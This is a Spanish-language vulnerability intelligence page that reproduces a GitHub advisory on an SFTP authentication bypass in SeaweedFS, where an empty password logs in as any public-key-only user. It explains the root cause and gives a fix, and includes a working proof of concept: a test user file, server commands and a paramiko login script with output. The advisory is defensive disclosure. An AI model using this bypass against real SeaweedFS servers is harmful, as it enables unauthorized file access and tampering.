llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-Q9RJ-8P2J-WHG4

SFTP accepts an empty password for any user configured without a password (public-key-only users)

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.1
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición59 dDesde la divulgación, 22 sept 2026, 7:00 p. m.
Detección58 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
No es para las 3 a. m., pero sí para esta semana.Algún pentester ya está tomando notas de esto.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
23 sept 26
20 nov 26
21 nov 26
23 sept 26
7 oct 26
22 oct 26
6 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-Q9RJ-8P2J-WHG4 divulgada · CVSS 9.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The SeaweedFS SFTP server accepts an empty password as valid for any user whose stored password is empty — i.e. every user provisioned for public-key (or certificate) authentication only. Because `password` is in the default `-sftp.authMethods` list (`"password,publickey"`), a remote attacker who knows only a valid username can authenticate with a zero-length password and obtains a full SFTP session with that user's permissions and home-directory scope. No knowledge of any key or secret is required.

CWE: CWE-287 Improper Authentication (contributing: CWE-1284 improper validation of the length of the compared secret).
Proposed CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` = 9.1 Critical.
Affected: `<= 4.45` (`github.com/seaweedfs/seaweedfs`, Go). `weed sftp`, `weed server -sftp`, `weed filer -sftp`.

Root cause

`weed/sftpd/user/filestore.go`:

func (s *FileStore) ValidatePassword(username string, password []byte) bool {
	user, err := s.GetUser(username)
	if err != nil {
		return false
	}
	return subtle.ConstantTimeCompare([]byte(user.Password), password) == 1
}

`subtle.ConstantTimeCompare` returns `1` when both slices have equal length and content. For a public-key-only user `user.Password == ""`, so when the client sends an empty password the two zero-length slices compare equal and the function returns `true`.

Nothing upstream rejects the empty password: `weed/sftpd/auth/password.go` `PasswordAuthenticator.Authenticate` calls `ValidatePassword` directly with whatever the client sent; `weed/sftpd/auth/auth.go` wires `config.PasswordCallback` whenever `"password"` is in `enabledAuthMethods` (the default); and `golang.org/x/crypto/ssh` invokes `PasswordCallback` for a `password` auth request regardless of password length. `ValidatePublicKey` is not affected (an empty `PublicKeys` slice makes its loop return `false`).

Prerequisites

  • Network reach to the SFTP port (default `2022`).
  • `password` present in `-sftp.authMethods` (default is `password,publickey`).
  • At least one SFTP user configured without a password — the normal setup for key-based auth: the user-store JSON has `password` as optional and `publicKeys` as the alternative.
  • Knowledge of a valid username (often predictable — matches the home dir / tenant / service name).

Impact

Full SFTP session as the targeted user: list / read / write / delete / rename within that user's permitted paths. For a user whose `permissions` grant broad access (or `homeDir: "/"`), this is read/write over the whole filer namespace.

Proof of concept

`users.json` — one key-only user (no `password`), one with a password:

[
  { "username": "keyonly", "publicKeys": ["ssh-ed25519 AAAA..."],
    "homeDir": "/sftp/keyonly", "uid": 1001, "gid": 1001,
    "permissions": { "/sftp/keyonly": ["read","write","list"] } },
  { "username": "haspass", "password": "s3cret",
    "homeDir": "/sftp/haspass", "uid": 1002, "gid": 1002,
    "permissions": { "/sftp/haspass": ["read","write","list"] } }
]
ssh-keygen -t ed25519 -N '' -f hostkey && mkdir hk && mv hostkey hk/
weed server -dir=/tmp/sw-data -ip=127.0.0.1 -filer -sftp -sftp.port=2022 \
  -sftp.hostKeysFolder=./hk -sftp.userStoreFile=./users.json
import paramiko
for user, pw in [("keyonly",""), ("keyonly","wrong"), ("haspass",""), ("haspass","s3cret")]:
    t = paramiko.Transport(("127.0.0.1", 2022)); t.connect(hostkey=None)
    try:
        t.auth_password(user, pw); ok = t.is_authenticated()
    except paramiko.ssh_exception.AuthenticationException:
        ok = False
    print(user, repr(pw), "->", "OK" if ok else "denied"); t.close()

Observed:

keyonly ''      -> OK        <-- bug: empty password authenticated a key-only user
keyonly 'wrong' -> denied
haspass ''      -> denied
haspass 's3cret'-> OK

Post-auth, an `SFTPClient` over the same transport lists `/`, writes `/proof.txt`, and reads it back — full file access as `keyonly`.

Suggested fix

Reject empty secrets explicitly in `weed/sftpd/user/filestore.go`:

func (s *FileStore) ValidatePassword(username string, password []byte) bool {
	user, err := s.GetUser(username)
	if err != nil {
		return false
	}
	if len(user.Password) == 0 || len(password) == 0 {
		return false
	}
	return subtle.ConstantTimeCompare([]byte(user.Password), password) == 1
}

Defense in depth: also reject a zero-length password in `PasswordAuthenticator.Authenticate` before calling the store, and warn at startup when a user has neither a password nor any public key / CA trust while `password` auth is enabled.

Not a duplicate

Distinct from CVE-2026-77317 (SFTP path-ACL authorization). This is an authentication bypass; none of the published SeaweedFS advisories touch SFTP authentication.

---

Reporter: Harsh Parmar (@kaii-k)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≤ 4.45
4.45
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-q9rj-8p2j-whg4

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.